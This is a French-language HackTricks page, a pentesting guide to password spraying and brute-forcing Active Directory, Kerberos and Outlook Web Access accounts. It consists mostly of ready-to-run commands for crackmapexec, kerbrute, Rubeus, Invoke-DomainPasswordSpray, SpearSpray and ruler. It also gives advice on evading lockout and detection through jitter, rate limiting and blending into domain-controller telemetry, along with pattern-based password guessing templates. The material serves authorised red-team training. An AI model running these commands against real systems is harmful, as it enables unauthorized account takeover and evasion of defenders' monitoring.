Password Spraying / Brute Force

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Password Spraying

Une fois que vous avez trouvé plusieurs noms d'utilisateur valides vous pouvez essayer les mots de passe les plus courants (gardez à l'esprit la politique de mot de passe de l'environnement) avec chacun des utilisateurs découverts.
Par défaut la longueur minimale du mot de passe est 7.

Des listes de noms d'utilisateur courants peuvent aussi ĂȘtre utiles : https://github.com/insidetrust/statistically-likely-usernames

Remarquez que vous pourriez verrouiller certains comptes si vous essayez plusieurs mots de passe incorrects (par défaut plus de 10).

Obtenir la politique de mot de passe

Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine, vous pouvez obtenir la politique de mot de passe avec :

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation depuis Linux (ou tous)

  • En utilisant crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (vous pouvez indiquer le nombre de tentatives pour Ă©viter les verrouillages):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Utiliser kerbrute (python) - PAS RECOMMANDÉ — PEUT PARFOIS NE PAS FONCTIONNER
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Avec le module scanner/smb/smb_login de Metasploit :

  • En utilisant rpcclient :
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Depuis Windows

  • Avec Rubeus version avec le module 'brute' :
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • With Invoke-DomainPasswordSpray (Il peut gĂ©nĂ©rer des utilisateurs Ă  partir du domaine par dĂ©faut et il rĂ©cupĂšre la stratĂ©gie de mot de passe du domaine et limite les tentatives en consĂ©quence):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Kerberos pre-auth–based spraying rĂ©duit le bruit par rapport aux tentatives de SMB/NTLM/LDAP bind et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray associe le ciblage pilotĂ© par LDAP, un moteur de patterns, et une prise en compte des politiques (domain policy + PSOs + badPwdCount buffer) pour effectuer du spraying de maniĂšre prĂ©cise et sĂ»re. Il peut aussi taguer les principaux compromis dans Neo4j pour le pathing BloodHound.

Key ideas:

  • LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
  • Filtrage prenant en compte la politique de verrouillage du domaine et les PSOs pour laisser un tampon configurable d'essais (seuil) et Ă©viter de verrouiller les utilisateurs.
  • Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
  • GĂ©nĂ©ration de mots de passe par pattern, par utilisateur, en utilisant des variables comme les noms et des valeurs temporelles dĂ©rivĂ©es du pwdLastSet de chaque utilisateur.
  • ContrĂŽle du dĂ©bit avec threads, jitter et nombre max de requĂȘtes par seconde.
  • IntĂ©gration Neo4j optionnelle pour marquer les utilisateurs compromis pour BloodHound.

Basic usage and discovery:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Ciblage et contrĂŽle des motifs:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

ContrÎles de furtivité et de sécurité :

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound enrichissement:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Aperçu du systÚme de patterns (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Les variables disponibles comprennent :

  • {name}, {samaccountname}
  • Temporelles extraites de chaque pwdLastSet utilisateur (ou whenCreated) : {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Aides de composition et jeton org : {separator}, {suffix}, {extra}

Notes opérationnelles :

  • PrivilĂ©giez l'interrogation du PDC-emulator avec -dc pour lire le badPwdCount le plus autoritatif et les informations liĂ©es aux politiques.
  • Les rĂ©initialisations de badPwdCount sont dĂ©clenchĂ©es au prochain essai aprĂšs la fenĂȘtre d'observation ; utilisez le seuil et le timing pour rester prudent.
  • Les tentatives de prĂ©-auth Kerberos apparaissent comme 4768/4771 dans la tĂ©lĂ©mĂ©trie du DC ; utilisez jitter et rate-limiting pour vous fondre.

Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire.

Outlook Web Access

Il existe plusieurs outils pour password spraying outlook.

Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un password / d'une petite liste de passwords Ă  spray.

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks